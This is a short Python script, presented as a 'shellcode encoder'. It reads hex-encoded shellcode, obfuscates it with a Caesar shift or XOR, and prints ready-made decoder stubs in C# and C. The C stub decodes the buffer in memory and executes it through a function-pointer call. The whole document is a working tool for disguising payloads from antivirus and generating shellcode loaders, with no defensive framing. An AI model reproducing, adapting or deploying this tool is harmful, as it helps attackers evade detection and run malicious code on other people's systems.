Python shellcode encoder

Encoder.py

#!/usr/bin/env python3
import argparse
import binascii

def encode_caesar(buf, args):
	return [(c + args.shift) % 256 for c in buf]

def encode_xor(buf, args):
	return [(c ^ args.shift) % 256 for c in buf]

encoders = {
	"caesar": encode_caesar,
	"xor": encode_xor,
}

def print_csharp(buf, args):
	operator = "-" if args.mode == "caesar" else "^"
	buf_arr = ",".join(map(hex, buf))
	print(f"byte[] buf = new byte[{len(buf)}] {{ {buf_arr} }};")
	print(f"uint shift = {args.shift};")
	print(f"for (int i = 0; i < buf.Length; i++)")
	print(f"{{")
	print(f" buf[i] = (byte)((buf[i] {operator} shift) & 0xFF);")
	print(f"}}")

def print_c(buf, args):
	def transform(c):
		h = hex(c)[2:].zfill(2).upper()
		return f"\\x{h}"

	operator = "-" if args.mode == "caesar" else "^"
	buf_arr = "".join(map(transform, buf))
	print(f"unsigned char buf[] = \"{buf_arr}\";")
	print()
	print(f"int main (int argc, char **argv) {{")
	print(f" unsigned char shift = {args.shift};")
	print(f" for (int i = 0; i < {len(buf)}; i++) {{")
	print(f" buf[i] = buf[i] {operator} shift;")
	print(f" }}")
	print(f" int (*ret)() = (int(*)())buf;")
	print(f" ret();")
	print(f" return 0;")
	print(f"}}")

printers = {
	"csharp": print_csharp,
	"aspx": print_csharp,
	"c": print_c,
}

def parse_args():
	parser = argparse.ArgumentParser()
	parser.add_argument("-m", "--mode", metavar="mode", default="caesar",
		choices=list(encoders.keys()), help="encoder mode (default: %(default)s)",
	)

	parser.add_argument("-s", "--shift", metavar="shift", type=int, default=5,
		help="operand for encode operator (default: %(default)s)",
	)
	parser.add_argument("-f", "--format", metavar="format", default="csharp",
		choices=list(printers.keys()), help="output format (default: %(default)s)",
	)
	return parser.parse_args()

def main():
	args = parse_args()
	buf = input()
	buf = binascii.unhexlify(buf)
	if args.mode not in encoders:
		raise TypeError(f"invalid mode {args.mode}")
	buf = encoders[args.mode](buf, args)
	if args.format not in printers:
		raise TypeError(f"invalid format {args.format}")
	printers[args.format](buf, args)

if __name__ == "__main__":
	main()